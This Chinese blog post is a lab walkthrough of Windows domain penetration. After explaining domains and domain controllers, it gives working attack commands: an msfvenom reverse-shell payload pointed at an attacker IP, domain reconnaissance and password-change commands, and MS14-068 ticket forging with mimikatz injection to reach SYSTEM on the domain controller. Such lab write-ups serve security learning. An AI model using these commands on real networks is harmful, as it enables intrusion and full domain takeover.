Windows 域渗透

内网渗透真是博大精深,测试环境准备起来也有点麻烦,遇到很多问题

0x01 概念

内网

       局域网(Local Area Network, LAN),又称内网。内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet。内网的计算机可向Internet上的其他计算机发送连接请求,但Internet上其他的计算机无法向内网的计算机发送连接请求。

域和域控制器

       域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

       域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。

       域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。

域控制器

       不过在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。

       域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。

0x02 环境搭建

两个虚拟机,用Windows server 2003 r2做域控,域用户win7

域控安装简要过程:

  • win+r运行dcpromo创建新域

  • 配置新域的DNS全名和NetBIOS名

  • AD需要DNS服务支持,这里会检测并安装DNS服务

    • 安装来源发现就是安装盘*内的I386文件夹
  • 重启

可以看:搭建AD域环境

创建用户

s9.png

win7加入域

s1.png

DNS要设置为域控的IP,否则会出现网络路径错误

s2.png

这是会重启,开机切换用户来登陆域

s3.png

s7.png

域环境结构

域:TEST.com

域控:windows server 2003 r2,ip:10.211.55.26

域成员:windows 7 x64,ip:10.211.55.19

0x04域渗透

假设控制了域网内的一台电脑,要将权限从local admin 提高到Domain admin,访问包括Domain Controller在内的域内中任何一台电脑

首先得拿到一个shell

  • 上传Metasploit的反弹马,shell下执行命令

生成反弹马(这里我win7没有管理员权限,启动不了web服务,遂用exe的)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.201 LPORT=7777 -f exe > ./Desktop/re.exe

s10.png

msfconsole设置监听并启动

s11.png

输入shell进入控制台,因为win7是中文控制台,会有乱码

常用信息收集命令:

echo %PROCESSOR_ARCHITECTURE% //查看系统版本位数

netstat -ano //查看开放的端口

net config Workstation //当前计算机名,全名,用户名,系统版本,工作站域,登陆域

net user /domain b404 pass //修改域内用户密码,需要管理员权限

tasklist /S IP地址 /U 域名\用户名 /P /V //查看远程计算机进程

tasklist /svc //查看进程

taskkill /im 进程名称(cmd.exe) //结束进程

taskkill /pid[进程码] //-t(结束该进程) -f(强制结束该进程以及所有子进程)

ipconfig /all //用来查看当前机器的网络环境,判断是工作组,还是域环境.网段是怎么划分的,每个段有多少台机器,DNS服务器IP是多少。

net view
//用来查看跟本机有关联的机器名.注意,是跟本机有关联的机器,而不是一个段的机器.

net view /domain
//用来查看当前网络环境存在几个域.

net view /domain:xxxx
//查看xxx域中存在的跟本机有关联的机器.

net group "domain admins" /domain
//查看域内管理员.

net user /domain
//查看域内的用户名.

net group "domain computers" /domain
//查看域内所有机器名.

net time /domain
//查看域时间及域服务器的名字

Nslookup -type=SRV _ldap._tcp.
//查询DNS

netstat
//查看连接信息.

net group "Domain Controllers" /domain
//查找域控

nbtstat
//由IP地址得到机器名

ping 扫描内网存活主机:

for /l %i in (1,1,255) do @ping 192.168.200.%i -w 1 -n 1 | find /i"ttl"

s13.png

查看是否支持PowerShell:
if defined PSModulePath (echo support powershell) else (echo not support powershell)

比较全的查询命令:域渗透的整理

MS14-068漏洞复现

这个漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。

貌似主要是Kerberos协议的算法和信息存放以及任意签名的问题,详细原理:深入解读MS14-068漏洞

Kerberos协议

Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。

工具

域控地址
s15.png

用户名与SID
s16.png

获取TGT并清除缓存票据
MS14-068.exe -u win7@test.com -p Abcdefg123 -s S-1-5-21-2778320292-2955838337-2508653396-1106 -d xc5ca8.test.com

s14.png

注入TGT
mimikatz.exe "kerberos::ptc TGT_win7@test.com.ccache" exit

s17.png

`TGT_win7@test.com.ccache`是个文件,会在本地生成,注意此文件的路径(被坑了半天才发现)

缓存票据发生变化
s18.png

访问域控xc5ca8的资源
s19.png

这时可以传马反弹shell

copy完后添加计划任务,等待反弹

s20.png

成功获取域控的system权限

s21.png

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/08/15/Windows-domain/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog